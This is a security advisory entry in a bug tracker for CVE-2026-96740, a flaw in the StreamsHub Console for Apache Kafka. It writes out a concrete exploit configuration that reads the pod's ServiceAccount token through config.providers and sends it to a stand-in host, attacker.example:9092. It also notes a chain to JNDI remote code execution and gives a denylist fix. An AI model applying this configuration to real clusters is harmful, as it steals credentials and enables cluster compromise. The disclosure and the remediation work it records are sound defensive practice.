Bug 2539427 (CVE-2026-96740)

Summary: CVE-2026-96740 streamshub/console: console-operator: Streams for Apache Kafka Console: Unfiltered Kafka client properties → SA-token exfiltration via config.providers
Product: [Other] Security Response Reporter: OSIDB Bzimport <bzimport>
Component: vulnerabilityAssignee: Product Security DevOps Team <prodsec-dev>
Status: NEW --- QA Contact:
Severity: high Docs Contact:
Priority: high    
Version: unspecifiedCC: chfoley, jturenov, security-response-team, swoodman
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: ---
Doc Text:
A flaw was found in the StreamsHub Console for Apache Kafka. Tenant-supplied Kafka client properties from the Console custom resource are copied into the console-api AdminClient configuration without filtering security-sensitive keys, allowing a Console CR author to set config.providers and bootstrap.servers to exfiltrate the console-api ServiceAccount token to an attacker-controlled broker.
Story Points: ---
Clone Of: Environment:
Last Closed: Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description OSIDB Bzimport 2026-09-23 14:21:36 UTC
Unfiltered Kafka client properties → SA-token exfiltration via config.providers

Location: operator/src/main/java/com/github/streamshub/console/dependents/support/ConfigSupport.java:63 → api/src/main/java/com/github/streamshub/console/api/ClientFactory.java:571

Attacker: C — any K8s tenant with Console-CR create in one namespace

What it is. 
spec.kafkaClusters[].properties.values[] (and adminProperties/consumerProperties/producerProperties) is a free-form key/value list. ConfigSupport.setConfigVars does target.put(name, value) with no key filter; downstream ClientFactory.buildConfig copies clientProperties and config.getProperties() verbatim into the AdminClient config map. Nothing on either side blocks sasl.*, ssl.*, security.*, bootstrap.servers, or config.providers.

Why it's a security flaw. 
kafka-clients 4.3.1 blocks the JNDI/LDAP JAAS modules, but it does not block config.providers. Setting config.providers=directory, config.providers.directory.class=org.apache.kafka.common.config.provider.DirectoryConfigProvider, sasl.jaas.config=... username="${directory:/var/run/secrets/kubernetes.io/serviceaccount:token}" ... and bootstrap.servers=attacker.example:9092 makes the console-api pod resolve the placeholder to its own SA token and send it in the SASL handshake to an attacker-controlled broker — no JAAS bypass required. That token carries the same ClusterRole as f001. The primitive also chains with f006 (JAVA_TOOL_OPTIONS clears disallowed.login.modules) to reach JNDI RCE. It is subsumed by f001 for attacker C but is an independent code path that survives an image allowlist.

Remediation. 
patches/f003.patch adds a FORBIDDEN_PREFIXES = {"sasl.", "ssl.", "security.", "bootstrap.servers", "config.providers"} denylist (mirroring Strimzi's KafkaConnectSpec forbidden-config pattern) and enforces it in both ConfigSupport.setConfigVars/copyData and in ClientFactory.buildConfig for defence in depth on non-operator deployments.